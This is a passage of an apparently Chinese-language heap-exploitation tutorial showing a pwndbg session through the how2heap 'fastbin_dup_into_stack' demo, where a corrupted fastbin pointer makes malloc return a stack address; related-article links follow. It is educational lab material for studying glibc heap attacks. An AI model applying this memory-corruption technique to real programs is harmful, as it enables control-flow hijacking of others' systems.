─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
01:0008│      0x7fffffffe568 ◂--- 0x20 /* ' ' */
02:0010│      0x7fffffffe570 ---▸ 0x603010 ---▸ 0x603020 ◂--- 0x0
03:0018│      0x7fffffffe578 ---▸ 0x603030 ◂--- 'EEEEEEEE'
04:0020│      0x7fffffffe580 ---▸ 0x603050 ◂--- 'CCCCCCCC'
05:0028│      0x7fffffffe588 ---▸ 0x603010 ---▸ 0x603020 ◂--- 0x0
06:0030│      0x7fffffffe590 ---▸ 0x603030 ◂--- 'EEEEEEEE'
07:0038│      0x7fffffffe598 ---▸ 0x4005b0 (_start) ◂--- 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400973 main+717
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed 0x4545454545454545              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 ---▸ 0x603020 ◂--- 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49          char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603010 ---▸ 0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂--- cmp    rax, -0xfff
 RDX  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RDI  0x2
 RSI  0x7fffffffbed0 ◂--- 0xa6e8a89ce5b08ee7
 R8   0x7ffff7feb700 ◂--- 0x7ffff7feb700
 R9   0x62
 R10  0x32783020a29de98d
 R11  0x246
 R12  0x4005b0 (_start) ◂--- 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂--- 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 ---▸ 0x400a20 (__libc_csu_init) ◂--- 0x41ff894156415741
 RSP  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RIP  0x400985 (main+735) ◂--- 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400973 <main+717>    lea    rax, [rbp - 0x48]
   0x400977 <main+721>    sub    rax, 8
   0x40097b <main+725>    mov    rdx, rax
   0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]
   0x400982 <main+732>    mov    qword ptr [rax], rdx
 ► 0x400985 <main+735>    mov    edi, 8
   0x40098a <main+740>    call   malloc@plt <0x400580>
 
   0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax
   0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]
   0x400997 <main+753>    movabs rcx, 0x4646464646464646
   0x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   44     stack_var = 0x20;
   45 
   46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
   47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
   48     
 ► 49     char* f = malloc(8);
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
   53     strcpy(g, "GGGGGGGG");
   54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
01:0008│          0x7fffffffe568 ◂--- 0x20 /* ' ' */
02:0010│          0x7fffffffe570 ---▸ 0x603010 ---▸ 0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
03:0018│          0x7fffffffe578 ---▸ 0x603030 ◂--- 'EEEEEEEE'
04:0020│          0x7fffffffe580 ---▸ 0x603050 ◂--- 'CCCCCCCC'
05:0028│          0x7fffffffe588 ---▸ 0x603010 ---▸ 0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
06:0030│          0x7fffffffe590 ---▸ 0x603030 ◂--- 'EEEEEEEE'
07:0038│          0x7fffffffe598 ---▸ 0x4005b0 (_start) ◂--- 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400985 main+735
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x00007fffffffe560      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed     0x7fffffffe560              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x603000 ---▸ 0x7fffffffe560 ---▸ 0x603010 ◂--- 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> b 54
Breakpoint 4 at 0x4009e8: file fastbin_dup_into_stack.c, line 54.
pwndbg> c
Continuing.
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中

Breakpoint 4, main () at fastbin_dup_into_stack.c:54
54          fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x7fffffffe570 ◂--- 'GGGGGGGG'
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂--- 0x0
 RDX  0x7fffffffe570 ◂--- 'GGGGGGGG'
 RDI  0x0
 RSI  0x4747474747474747 ('GGGGGGGG')
 R8   0x603010 ◂--- 'FFFFFFFF'
 R9   0x44
 R10  0xe8be93e9206e6962
 R11  0x246
 R12  0x4005b0 (_start) ◂--- 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂--- 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 ---▸ 0x400a20 (__libc_csu_init) ◂--- 0x41ff894156415741
 RSP  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RIP  0x4009e8 (main+834) ◂--- 0x4800201671058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4009e8 <main+834>    mov    rax, qword ptr [rip + 0x201671] <0x602060>
   0x4009ef <main+841>    mov    rdx, qword ptr [rbp - 0x10]
   0x4009f3 <main+845>    mov    esi, 0x400e68
   0x4009f8 <main+850>    mov    rdi, rax
   0x4009fb <main+853>    mov    eax, 0
   0x400a00 <main+858>    call   fprintf@plt <0x400570>
 
   0x400a05 <main+863>    mov    eax, 0
   0x400a0a <main+868>    mov    rcx, qword ptr [rbp - 8]
   0x400a0e <main+872>    xor    rcx, qword ptr fs:[0x28]
   0x400a17 <main+881>    je     main+888 <0x400a1e>
 
   0x400a19 <main+883>    call   __stack_chk_fail@plt <0x400550>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   49     char* f = malloc(8);
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
   53     strcpy(g, "GGGGGGGG");
 ► 54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
   55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp      0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
01:0008│          0x7fffffffe568 ◂--- 0x20 /* ' ' */
02:0010│ rax rdx  0x7fffffffe570 ◂--- 'GGGGGGGG'
03:0018│          0x7fffffffe578 ---▸ 0x603000 ◂--- 0x0
04:0020│          0x7fffffffe580 ---▸ 0x603050 ◂--- 'CCCCCCCC'
05:0028│          0x7fffffffe588 ---▸ 0x603010 ◂--- 'FFFFFFFF'
06:0030│          0x7fffffffe590 ---▸ 0x603030 ◂--- 'EEEEEEEE'
07:0038│          0x7fffffffe598 ---▸ 0x603010 ◂--- 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4009e8 main+834
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:54
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4646464646464646      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂--- 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
55      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂--- cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂--- 0x0
 RDI  0x2
 RSI  0x7fffffffbed0 ◂--- 0xace680b8e499bfe8
 R8   0x7ffff7feb700 ◂--- 0x7ffff7feb700
 R9   0x3d
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂--- 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂--- 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 ---▸ 0x400a20 (__libc_csu_init) ◂--- 0x41ff894156415741
 RSP  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
 RIP  0x400a0a (main+868) ◂--- 0xc334864f84d8b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x4009f3 <main+845>           mov    esi, 0x400e68
   0x4009f8 <main+850>           mov    rdi, rax
   0x4009fb <main+853>           mov    eax, 0
   0x400a00 <main+858>           call   fprintf@plt <0x400570>
 
   0x400a05 <main+863>           mov    eax, 0
 ► 0x400a0a <main+868>           mov    rcx, qword ptr [rbp - 8] <0x7ffff7b042c0>
   0x400a0e <main+872>           xor    rcx, qword ptr fs:[0x28]
   0x400a17 <main+881>           je     main+888 <0x400a1e>
    ↓
   0x400a1e <main+888>           leave  
   0x400a1f <main+889>           ret    
 
   0x400a20 <__libc_csu_init>    push   r15
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
   53     strcpy(g, "GGGGGGGG");
   54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
 ► 55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 ---▸ 0x7ffff7ffe168 ◂--- 0x0
01:0008│      0x7fffffffe568 ◂--- 0x20 /* ' ' */
02:0010│      0x7fffffffe570 ◂--- 'GGGGGGGG'
03:0018│      0x7fffffffe578 ---▸ 0x603000 ◂--- 0x0
04:0020│      0x7fffffffe580 ---▸ 0x603050 ◂--- 'CCCCCCCC'
05:0028│      0x7fffffffe588 ---▸ 0x603010 ◂--- 'FFFFFFFF'
06:0030│      0x7fffffffe590 ---▸ 0x603030 ◂--- 'EEEEEEEE'
07:0038│      0x7fffffffe598 ---▸ 0x603010 ◂--- 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400a0a main+868
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4646464646464646      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂--- 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p &stack_var
$1 = (unsigned long long *) 0x7fffffffe568
pwndbg> x/10gx 0x7fffffffe568
0x7fffffffe568: 0x0000000000000020      0x4747474747474747
0x7fffffffe578: 0x0000000000603000      0x0000000000603050
0x7fffffffe588: 0x0000000000603010      0x0000000000603030
0x7fffffffe598: 0x0000000000603010      0x00007fffffffe570
0x7fffffffe5a8: 0xe609b5a9bd5a1300      0x0000000000400a20
pwndbg> 

4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

相关推荐
速盾cdn1 小时前
速盾:如何判断高防服务器的防御是否真实?
网络·安全
你怎么睡得着的!2 小时前
【web安全】——常见框架漏洞
web安全·网络安全·框架漏洞
一尘之中2 小时前
网 络 安 全
网络·人工智能·学习·安全
学步_技术4 小时前
自动驾驶系列—LDW(车道偏离预警):智能驾驶的安全守护者
人工智能·安全·自动驾驶·ldw
Peggy·Elizabeth5 小时前
APISIX 联动雷池 WAF 实现 Web 安全防护
网络安全
小小工匠5 小时前
系统安全 - Linux /Docker 安全模型及实践
linux·安全·系统安全
GZ_TOGOGO15 小时前
【2024最新】华为HCIE认证考试流程
大数据·人工智能·网络协议·网络安全·华为
网络研究院16 小时前
Android 安卓内存安全漏洞数量大幅下降的原因
android·安全·编程·安卓·内存·漏洞·技术
0DayHP18 小时前
HTB:Ignition[WriteUP]
网络安全
l1x1n01 天前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全